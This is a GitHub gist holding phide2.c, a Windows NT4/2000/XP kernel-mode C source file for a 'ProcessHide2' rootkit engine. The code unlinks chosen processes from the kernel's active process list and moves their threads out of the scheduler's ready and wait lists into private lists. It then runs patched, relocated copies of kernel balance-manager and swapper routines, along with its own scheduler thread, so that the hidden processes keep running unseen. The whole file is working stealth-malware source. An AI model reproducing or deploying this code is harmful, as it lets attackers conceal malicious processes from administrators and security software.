Skip to content

Instantly share code, notes, and snippets.

@cust0m
Created September 8, 2015 19:48
Show Gist options
  • Save cust0m/c2ad676a6da89092e930 to your computer and use it in GitHub Desktop.
Save cust0m/c2ad676a6da89092e930 to your computer and use it in GitHub Desktop.
phide2.c
/*++
Module Name:
phide2.c
Abstract:
ProcessHide2 engine.
Author:
90210 7-Dec-2004
--*/
//#define DEBUG
#include "phide2.h"
static KEVENT g_ShutdownEvent;
static KTIMER g_MoveTimer;
static KTIMER g_QuantumTimer;
static PETHREAD g_PhideThreads[NUMBER_OF_THREADS]={0};
static PVOID g_NewCode=NULL;
static ULONG g_NewCodeSize=0;
static ISPROCESSHIDDEN_CALLBACK g_IsProcessHidden=NULL;
static SCHEDULER_LISTS_RVAS ListsRVAs;
static SCHEDULER_LISTS NewLists;
static BOOLEAN g_DoublyLinkedList[sizeof(SCHEDULER_LISTS_RVAS)/sizeof(ULONG)]={TRUE,TRUE,TRUE,TRUE,TRUE,TRUE};
static PULONG g_NewKiReadySummary=NULL;
static PULONG g_NewKiReadyQueueIndex=NULL;
static PULONG g_NewKiSwappingThread=NULL;
static PULONG g_NewKiStackOutSwapRequest=NULL;
static PKEVENT g_NewKiSwapEvent=NULL;
static ULONG g_NtoskrnlIbase=0;
BOOLEAN g_bCheckedBuild=FALSE;
ULONG g_MajorVersion=0, g_MinorVersion=0;
static PLIST_ENTRY g_PsActiveProcessHead=NULL;
static PSTRUCTURE_OFFSETS g_pStructureOffsets=0;
static STRUCTURE_OFFSETS g_Offsets_NT={0x44, 0x5c, 0x48, 0x98},
g_Offsets_2k={0x44, 0x5c, 0x48, 0xa0},
g_Offsets_XP={0x44, 0x60, 0x48, 0x88};
extern WANTED_SYMBOLS RVAs;
#ifdef DEBUG
static PCHAR pszWantedSymbols[]={
"KeBalanceSetManager",
"KeSwapProcessOrStack",
"NtYieldExecution",
"KiDispatcherReadyListHead",
"WaitList1",
"WaitList2",
"KiStackInSwapListHead",
"BalmgrList1",
"BalmgrList2",
"BalmgrList3",
"KiReadySummary",
"KiReadyQueueIndex",
"KiSwapEvent",
"KiStackOutSwapRequest",
"KiSwappingThread",
"PsActiveProcessHead"
};
#endif
static struct {
PROC NtYieldExecution;
BALMGR_FUNC KeBalanceSetManager;
BALMGR_FUNC KeSwapProcessOrStack;
KWFMO_FUNC KeWaitForMultipleObjects;
} CodeEntries;
static IMPORT_ENTRY Import[]={
{NULL,IMPORT_BY_RVA},
{NULL,IMPORT_BY_RVA},
{NULL,IMPORT_BY_RVA},
{"KeWaitForMultipleObjects",IMPORT_BY_NAME},
{NULL,0}
};
static ULONG GetNtoskrnlIbase()
{
NTSTATUS rc;
ULONG dwNeededSize,Ibase;
PMODULES pModules=(PMODULES)&pModules;
// get system modules - ntoskrnl is always first there
rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
pModules=ExAllocatePool(PagedPool,dwNeededSize);
RtlZeroMemory(pModules,dwNeededSize);
rc=ZwQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
} else {
strange:
return 0;
}
if (!NT_SUCCESS(rc)) goto strange;
Ibase=(ULONG)pModules->smi.Base;
ExFreePool(pModules);
return Ibase;
}
static VOID FixrelocsCallback(PUCHAR pImage,PULONG pFixedAddress,ULONG OriginalFixupRva,ULONG TargetRva)
{
ULONG i,dwDiff;
for (i=0;i<sizeof(ListsRVAs)/sizeof(ULONG);i++) {
// patch new listheads
if (TargetRva==((PULONG)&ListsRVAs)[i]) {
#ifdef DEBUG
DbgPrint("Patching .%08X.Flink (list #%d), original RVA was .%08X\n",TargetRva,i,OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)&((PLIST_ENTRY*)&NewLists)[i]->Flink;
}
// process Blinks only if this list is doubly linked
if ((TargetRva==((PULONG)&ListsRVAs)[i]+(sizeof(LIST_ENTRY)>>1)) &&
g_DoublyLinkedList[i]) {
#ifdef DEBUG
DbgPrint("Patching .%08X.Blink (list #%d), original RVA was .%08X\n",TargetRva,i,OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)&((PLIST_ENTRY*)&NewLists)[i]->Blink;
}
}
// patch KiReadySummary, KiReadyQueueIndex, KiStackOutSwapRequest and KiSwappingThread
if (TargetRva==RVAs.KiReadySummary) {
#ifdef DEBUG
DbgPrint("Patching link to KiReadySummary, original RVA was .%08X\n",OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)g_NewKiReadySummary;
}
if (TargetRva==RVAs.KiReadyQueueIndex) {
#ifdef DEBUG
DbgPrint("Patching link to KiReadyQueueIndex, original RVA was .%08X\n",OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)g_NewKiReadyQueueIndex;
}
if (TargetRva==RVAs.KiStackOutSwapRequest) {
#ifdef DEBUG
DbgPrint("Patching link to KiStackOutSwapRequest, original RVA was .%08X\n",OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)g_NewKiStackOutSwapRequest;
}
if ((TargetRva==RVAs.KiSwappingThread) && RVAs.KiSwappingThread) {
#ifdef DEBUG
DbgPrint("Patching link to KiSwappingThread, original RVA was .%08X\n",OriginalFixupRva);
#endif
*pFixedAddress=(ULONG)g_NewKiSwappingThread;
}
// patch KiSwapEvent field addressing
dwDiff=TargetRva-RVAs.KiSwapEvent;
if (dwDiff<sizeof(KEVENT)) {
#ifdef DEBUG
DbgPrint("Patching link to KiSwapEvent.%02X, original RVA was .%08X\n",dwDiff,OriginalFixupRva);
#endif
*pFixedAddress=dwDiff+(ULONG)g_NewKiSwapEvent;
}
return;
}
static VOID MoveHiddenThreads(PLIST_ENTRY RealListHead,PLIST_ENTRY NewListHead,BOOLEAN bDoublyLinkedList)
{
PLIST_ENTRY NextEntry,Prev,tmp;
PETHREAD Thread;
PEPROCESS Process;
try {
Prev=RealListHead;
NextEntry=RealListHead->Flink;
// do checks for singly and doubly linked lists
while ((NextEntry!=RealListHead) && NextEntry) {
// CONTAINING_RECORD replacement
Thread=(PETHREAD)((PUCHAR)NextEntry-g_pStructureOffsets->ET_WaitListEntry);
tmp=NextEntry->Flink;
// get thread's process
Process=*(PEPROCESS*)((PUCHAR)Thread+g_pStructureOffsets->ET_ApcState_Process);
if (g_IsProcessHidden(Process)) {
#ifdef DEBUG
DbgPrint("EPROCESS %08X (thread %08X) removed from one of threads lists\n",Process,Thread);
#endif
if (bDoublyLinkedList) {
RemoveEntryList(NextEntry);
InsertTailList(NewListHead,NextEntry);
} else {
// singly linked list
Prev->Flink=NextEntry->Flink;
PushEntryList((PSINGLE_LIST_ENTRY)NewListHead,(PSINGLE_LIST_ENTRY)NextEntry);
}
}
NextEntry=tmp;
}
} except(EXCEPTION_EXECUTE_HANDLER) {
}
return;
}
static VOID MoveHiddenProcesses(PLIST_ENTRY RealListHead,PLIST_ENTRY NewListHead,BOOLEAN bDoublyLinkedList)
{
PLIST_ENTRY NextEntry,Prev,tmp;
PEPROCESS Process;
try {
Prev=RealListHead;
NextEntry=RealListHead->Flink;
// do checks for singly and doubly linked lists
while ((NextEntry!=RealListHead) && NextEntry) {
// CONTAINING_RECORD replacement
Process=(PEPROCESS)((PUCHAR)NextEntry-g_pStructureOffsets->EP_SwapListEntry);
tmp=NextEntry->Flink;
if (g_IsProcessHidden(Process)) {
#ifdef DEBUG
DbgPrint("EPROCESS %08X removed from one of process list\n",Process);
#endif
if (bDoublyLinkedList) {
RemoveEntryList(NextEntry);
InsertTailList(NewListHead,NextEntry);
} else {
// singly linked list
Prev->Flink=NextEntry->Flink;
PushEntryList((PSINGLE_LIST_ENTRY)NewListHead,(PSINGLE_LIST_ENTRY)NextEntry);
}
}
NextEntry=tmp;
}
} except(EXCEPTION_EXECUTE_HANDLER) {
}
return;
}
static VOID MoveHiddenObjectsToNewLists()
{
KIRQL OldIrql;
ULONG i;
PLIST_ENTRY RealListHead;
PULONG RealKiReadySummary;
PLIST_ENTRY NextProcess,Next;
PEPROCESS Process;
OldIrql=KeRaiseIrqlToDpcLevel();
try {
NextProcess=g_PsActiveProcessHead->Flink;
while (NextProcess!=g_PsActiveProcessHead) {
Next=NextProcess->Flink;
Process=(PEPROCESS)((PUCHAR)NextProcess-g_pStructureOffsets->EP_ActiveProcessLinks);
// exclude hidden process from PsActiveProcessHead list
if (g_IsProcessHidden(Process)) {
#ifdef DEBUG
DbgPrint("EPROCESS %08X removed from PsActiveProcessHead\n",Process);
#endif
RemoveEntryList(NextProcess);
InitializeListHead(NextProcess);
}
NextProcess=Next;
}
RealKiReadySummary=(PULONG)(g_NtoskrnlIbase+RVAs.KiReadySummary);
*g_NewKiReadySummary=0;
RealListHead=(PLIST_ENTRY)(g_NtoskrnlIbase+ListsRVAs.KiDispatcherReadyListHead);
// move ready threads
for (i=0;i<MAXIMUM_PRIORITY;i++) {
// KiDispatcherReadyListHead lists are always doubly-linked
MoveHiddenThreads(&RealListHead[i],&NewLists.KiDispatcherReadyListHead[i],TRUE);
// correct old and new KiReadySummary
if (IsListEmpty(&RealListHead[i]))
ClearMember(i,*RealKiReadySummary);
if (!IsListEmpty(&NewLists.KiDispatcherReadyListHead[i]))
SetMember(i,*g_NewKiReadySummary);
}
// move waiting threads
for (i=0;i<NUMBER_OF_THREADS_LISTS;i++) {
// xp has only KiWaitListHead
if (!ListsRVAs.Threads[i]) continue;
RealListHead=(PLIST_ENTRY)(g_NtoskrnlIbase+ListsRVAs.Threads[i]);
MoveHiddenThreads(RealListHead,NewLists.Threads[i],
g_DoublyLinkedList[1+i]);
}
// move processes
for (i=0;i<NUMBER_OF_PROCESSES_LISTS;i++) {
RealListHead=(PLIST_ENTRY)(g_NtoskrnlIbase+ListsRVAs.Processes[i]);
MoveHiddenProcesses(RealListHead,NewLists.Processes[i],
g_DoublyLinkedList[1+NUMBER_OF_THREADS_LISTS+i]);
}
} except(EXCEPTION_EXECUTE_HANDLER) {
}
KeLowerIrql(OldIrql);
return;
}
static VOID FreeAllocatedMemory()
{
ULONG i,Pointer;
KIRQL OldIrql;
try {
if (NewLists.KiDispatcherReadyListHead) {
MmFreeNonCachedMemory(NewLists.KiDispatcherReadyListHead,MAXIMUM_PRIORITY*sizeof(LIST_ENTRY));
NewLists.KiDispatcherReadyListHead=NULL;
}
for (i=1;i<sizeof(NewLists)/sizeof(PLIST_ENTRY);i++)
if (((PVOID*)&NewLists)[i]) {
MmFreeNonCachedMemory(((PVOID*)&NewLists)[i],sizeof(LIST_ENTRY));
((PVOID*)&NewLists)[i]=NULL;
}
if (g_NewKiReadySummary) {
MmFreeNonCachedMemory(g_NewKiReadySummary,sizeof(ULONG));
g_NewKiReadySummary=NULL;
}
if (g_NewKiReadyQueueIndex) {
MmFreeNonCachedMemory(g_NewKiReadyQueueIndex,sizeof(ULONG));
g_NewKiReadyQueueIndex=NULL;
}
if (g_NewKiStackOutSwapRequest) {
MmFreeNonCachedMemory(g_NewKiStackOutSwapRequest,sizeof(ULONG));
g_NewKiStackOutSwapRequest=NULL;
}
if (g_NewKiSwapEvent) {
MmFreeNonCachedMemory(g_NewKiSwapEvent,sizeof(KEVENT)<<1);
g_NewKiSwapEvent=NULL;
}
if (g_NewKiSwappingThread) {
MmFreeNonCachedMemory(g_NewKiSwappingThread,sizeof(ULONG));
g_NewKiSwappingThread=NULL;
}
if (g_NewCode && g_NewCodeSize) {
MmFreeNonCachedMemory(g_NewCode,g_NewCodeSize);
g_NewCode=NULL;
g_NewCodeSize=0;
}
} except(EXCEPTION_EXECUTE_HANDLER) {
}
return;
}
static NTSTATUS PrepareSchedulerCode(PUCHAR pImage)
{
NTSTATUS Status;
ULONG i;
try {
// allocate new dispatcher ready list
NewLists.KiDispatcherReadyListHead=MmAllocateNonCachedMemory(MAXIMUM_PRIORITY*sizeof(LIST_ENTRY));
for (i=0;i<MAXIMUM_PRIORITY;i++)
InitializeListHead(&NewLists.KiDispatcherReadyListHead[i]);
// allocate other lists. skip first field in the NewLists (KiDispatcherReadyListHead)
for (i=1;i<sizeof(NewLists)/sizeof(PLIST_ENTRY);i++) {
((PVOID*)&NewLists)[i]=MmAllocateNonCachedMemory(sizeof(LIST_ENTRY));
if (g_DoublyLinkedList[i])
InitializeListHead(((PLIST_ENTRY*)&NewLists)[i]);
else
((PSINGLE_LIST_ENTRY*)&NewLists)[i]->Next=NULL;
}
g_NewKiReadySummary=MmAllocateNonCachedMemory(sizeof(ULONG));
*g_NewKiReadySummary=0;
g_NewKiReadyQueueIndex=MmAllocateNonCachedMemory(sizeof(ULONG));
*g_NewKiReadyQueueIndex=1;
g_NewKiStackOutSwapRequest=MmAllocateNonCachedMemory(sizeof(ULONG));
*g_NewKiStackOutSwapRequest=0;
// allocate a bit more memory - for future oses
g_NewKiSwapEvent=MmAllocateNonCachedMemory(sizeof(KEVENT)<<1);
// call function instead of macro here
KeInitializeEvent(g_NewKiSwapEvent,SynchronizationEvent,FALSE);
// only xp and above have KiSwappingThread
if (RVAs.KiSwappingThread) {
g_NewKiSwappingThread=MmAllocateNonCachedMemory(sizeof(ULONG));
*g_NewKiSwappingThread=0;
} else
g_NewKiSwappingThread=NULL;
if (!NT_SUCCESS(Status=PullOutCode(Import,(PULONG)&CodeEntries,
&(PUCHAR)g_NewCode,
&g_NewCodeSize,
pImage,
FixrelocsCallback)))
return Status;
if (!g_NtoskrnlIbase)
if (!(g_NtoskrnlIbase=GetNtoskrnlIbase())) {
return STATUS_NTOSKRNL_NOT_FOUND;
}
g_PsActiveProcessHead=(PLIST_ENTRY)(g_NtoskrnlIbase+RVAs.PsActiveProcessHead);
} except(EXCEPTION_EXECUTE_HANDLER) {
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
static VOID SchedulerThread(PVOID StartContext)
{
LARGE_INTEGER Interval;
NTSTATUS Status;
SHORT bShutdown;
PVOID WaitObjects[MaximumObject];
WaitObjects[TimerExpiration]=&g_QuantumTimer;
WaitObjects[ShutdownEvent]=&g_ShutdownEvent;
// every 0.01 seconds
Interval.QuadPart=-(10*100*100);
KeSetTimer(&g_QuantumTimer,Interval,NULL);
for (bShutdown=FALSE;!bShutdown;) {
Status = CodeEntries.KeWaitForMultipleObjects(MaximumObject,
&WaitObjects[0],
WaitAny,
Executive,
KernelMode,
FALSE,
NULL,
NULL);
switch (Status) {
case TimerExpiration:
// share next quantum between hidden threads
CodeEntries.NtYieldExecution();
KeSetTimer(&g_QuantumTimer,Interval,NULL);
break;
case ShutdownEvent:
KeCancelTimer(&g_QuantumTimer);
bShutdown=TRUE;
break;
}
}
#ifdef DEBUG
DbgPrint("phide2: shutting down scheduler\n");
#endif
PsTerminateSystemThread(STATUS_SUCCESS);
}
static VOID ExcludeHiddenObjectsThread(PVOID StartContext)
{
LARGE_INTEGER Interval;
NTSTATUS Status;
SHORT bShutdown;
PVOID WaitObjects[MaximumObject];
WaitObjects[TimerExpiration]=&g_MoveTimer;
WaitObjects[ShutdownEvent]=&g_ShutdownEvent;
// every 0.01 seconds
Interval.QuadPart=-(10*100*100);
KeSetTimer(&g_MoveTimer,Interval,NULL);
for (bShutdown=FALSE;!bShutdown;) {
Status = CodeEntries.KeWaitForMultipleObjects(MaximumObject,
&WaitObjects[0],
WaitAny,
Executive,
KernelMode,
FALSE,
NULL,
NULL);
switch (Status) {
case TimerExpiration:
// should be PASSIVE_LEVEL on exit
MoveHiddenObjectsToNewLists();
KeSetTimer(&g_MoveTimer,Interval,NULL);
break;
case ShutdownEvent:
KeCancelTimer(&g_MoveTimer);
bShutdown=TRUE;
break;
}
}
#ifdef DEBUG
DbgPrint("phide2: shutting down excluder\n");
#endif
PsTerminateSystemThread(STATUS_SUCCESS);
}
static NTSTATUS PrepareOsSpecificStuff()
{
g_bCheckedBuild=PsGetVersion(&g_MajorVersion,&g_MinorVersion,NULL,NULL);
if ((g_MajorVersion>5) || // NT5 max
(g_MajorVersion<4) || // NT4 min
((g_MajorVersion==5) && (g_MinorVersion>1))) // 2k3 not supported yet
return STATUS_UNSUCCESSFUL;
// Initialize a few EPROCESS and ETHREAD field offsets. They are hardcoded (hi Four-F ;)
g_pStructureOffsets=&g_Offsets_2k;
if (g_MajorVersion==4)
g_pStructureOffsets=&g_Offsets_NT;
else
if (g_MinorVersion==1)
g_pStructureOffsets=&g_Offsets_XP;
return STATUS_SUCCESS;
}
static VOID ShutdownThread(PKEVENT Event,PETHREAD Thread)
{
KeSetEvent(Event,0,FALSE);
KeWaitForSingleObject(Thread,
Executive,
KernelMode,
FALSE,
NULL);
return;
}
NTSTATUS ProcessHide(ISPROCESSHIDDEN_CALLBACK IsProcessHidden)
{
HANDLE hThread;
NTSTATUS status;
LARGE_INTEGER Interval;
MODULE_INFORMATION mi;
ULONG dwKernelBase,i,j;
try {
if (!IsProcessHidden) return STATUS_INVALID_PARAMETER;
if (g_IsProcessHidden) return STATUS_ALREADY_STARTED;
g_IsProcessHidden=IsProcessHidden;
KeInitializeEvent(&g_ShutdownEvent,NotificationEvent,0);
KeInitializeTimer(&g_MoveTimer);
KeInitializeTimer(&g_QuantumTimer);
if (!NT_SUCCESS(PrepareOsSpecificStuff())) {
#ifdef DEBUG
DbgPrint("Unsupported OS\n");
#endif
return STATUS_UNSUPPORTED_OS;
}
// find symbols
if (!NT_SUCCESS(MapNtoskrnlImage(&mi,&dwKernelBase))) {
#ifdef DEBUG
DbgPrint("Failed to map ntoskrnl\n");
#endif
return STATUS_MAP_IMAGE_FAILED;
}
status=FindWantedSymbols(&mi);
UnmapNtoskrnlImage(&mi);
if (!NT_SUCCESS(status)) {
#ifdef DEBUG
DbgPrint("Failed to locate all needed symbols\n");
#endif
return STATUS_UNSUPPORTED_OS;
}
#ifdef DEBUG
// dump debug info
for (i=0;i<sizeof(RVAs)>>2;i++)
// if not xp, print both WaitLists; otherwise - only 1st
if (!((&((PDWORD)&RVAs)[i]==&RVAs.WaitLists[1]) && !RVAs.WaitLists[1]))
DbgPrint("RVAs.%s==.%08X\n",pszWantedSymbols[i],((PDWORD)&RVAs)[i]);
#endif
// should go exactly in this order
Import[0].szName=(PCHAR)RVAs.NtYieldExecution;
Import[1].szName=(PCHAR)RVAs.KeBalanceSetManager;
Import[2].szName=(PCHAR)RVAs.KeSwapProcessOrStack;
ListsRVAs.KiDispatcherReadyListHead=RVAs.KiDispatcherReadyListHead;
ListsRVAs.Threads[0]=RVAs.KiStackInSwapListHead;
ListsRVAs.Threads[1]=RVAs.WaitLists[0];
ListsRVAs.Threads[2]=RVAs.WaitLists[1];
for (i=j=0;i<NUMBER_OF_PROCESSES_LISTS;i++,j++) {
// skip zeroed balmgr list (that was KiStackInSwapListHead)
if (!RVAs.BalmgrLists[j]) j++;
ListsRVAs.Processes[i]=RVAs.BalmgrLists[j];
// xp balmgr process lists (KiProcess[In,Out]SwapListHead) are singly linked
if ((g_MajorVersion==5) && (g_MinorVersion==1))
g_DoublyLinkedList[1+NUMBER_OF_THREADS_LISTS+i]=FALSE;
}
if ((g_MajorVersion==5) && (g_MinorVersion==1))
for (i=0;i<sizeof(ListsRVAs)/sizeof(ULONG);i++)
if (((PULONG)&ListsRVAs)[i]==RVAs.KiStackInSwapListHead)
// xp KiStackInSwapListHead is singly linked
g_DoublyLinkedList[i]=FALSE;
// build new scheduler
if (!NT_SUCCESS(status=PrepareSchedulerCode(NULL))) {
#ifdef DEBUG
DbgPrint("Failed to prepare scheduler code\n");
#endif
FreeAllocatedMemory();
return status;
}
// run new scheduler threads
if (!NT_SUCCESS(status=PsCreateSystemThread(&hThread,
(ACCESS_MASK)0L,
NULL,
0,
NULL,
ExcludeHiddenObjectsThread,
NULL))) {
#ifdef DEBUG
DbgPrint("Failed to start ExcludeHiddenObjectsThread\n");
#endif
FreeAllocatedMemory();
return status;
}
// store its PETHREAD for the KeWaitForMultipleObjects in shutdown
if (!NT_SUCCESS(status=ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&g_PhideThreads[0],
NULL))) {
#ifdef DEBUG
DbgPrint("Failed to get thread object of the ExcludeHiddenObjectsThread\n");
#endif
ZwClose(hThread);
return status;
}
ZwClose(hThread);
if (!NT_SUCCESS(PsCreateSystemThread(&hThread,
(ACCESS_MASK)0L,
NULL,
0,
NULL,
CodeEntries.KeBalanceSetManager,
NULL))) {
// we cannot free memory here until ExcludeHiddenObjectsThread is finished.
// signal ExcludeHiddenObjectsThread to terminate and wait for its shutdown.
#ifdef DEBUG
DbgPrint("Failed to start patched KeBalanceSetManager thread\n");
#endif
ShutdownThread(&g_ShutdownEvent,g_PhideThreads[0]);
FreeAllocatedMemory();
return status;
}
ZwClose(hThread);
if (!NT_SUCCESS(PsCreateSystemThread(&hThread,
(ACCESS_MASK)0L,
NULL,
0,
NULL,
CodeEntries.KeSwapProcessOrStack,
NULL))) {
#ifdef DEBUG
DbgPrint("Failed to start patched KeSwapProcessOrStack thread\n");
#endif
ShutdownThread(&g_ShutdownEvent,g_PhideThreads[0]);
// we cannot free memory here because the patched copy of
// KeBalanceSetManager is running.
return status;
}
ZwClose(hThread);
// wait 0.1 second
Interval.QuadPart=-(1*100*100*100);
KeDelayExecutionThread(KernelMode,FALSE,&Interval);
if (!NT_SUCCESS(PsCreateSystemThread(&hThread,
(ACCESS_MASK)0L,
NULL,
0,
NULL,
SchedulerThread,
NULL))) {
#ifdef DEBUG
DbgPrint("Failed to start SchedulerThread\n");
#endif
ShutdownThread(&g_ShutdownEvent,g_PhideThreads[0]);
return status;
}
if (!NT_SUCCESS(status=ObReferenceObjectByHandle(hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID*)&g_PhideThreads[1],
NULL))) {
#ifdef DEBUG
DbgPrint("Failed to get thread object of the SchedulerThread\n");
#endif
ZwClose(hThread);
ShutdownThread(&g_ShutdownEvent,g_PhideThreads[0]);
return status;
}
ZwClose(hThread);
} except(EXCEPTION_EXECUTE_HANDLER) {
#ifdef DEBUG
DbgPrint("Caught exception\n");
#endif
ShutdownPhide();
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
NTSTATUS ShutdownPhide()
{
#ifdef DEBUG
DbgPrint("Shutdown starts\n");
#endif
// signal threads to terminate
KeSetEvent(&g_ShutdownEvent,0,FALSE);
if (g_PhideThreads[0] || g_PhideThreads[1])
// wait for threads to terminate
return KeWaitForMultipleObjects(NUMBER_OF_THREADS,
(PVOID)&g_PhideThreads,
WaitAll,
Executive,
KernelMode,
FALSE,
NULL,
NULL);
else
return STATUS_UNSUCCESSFUL;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment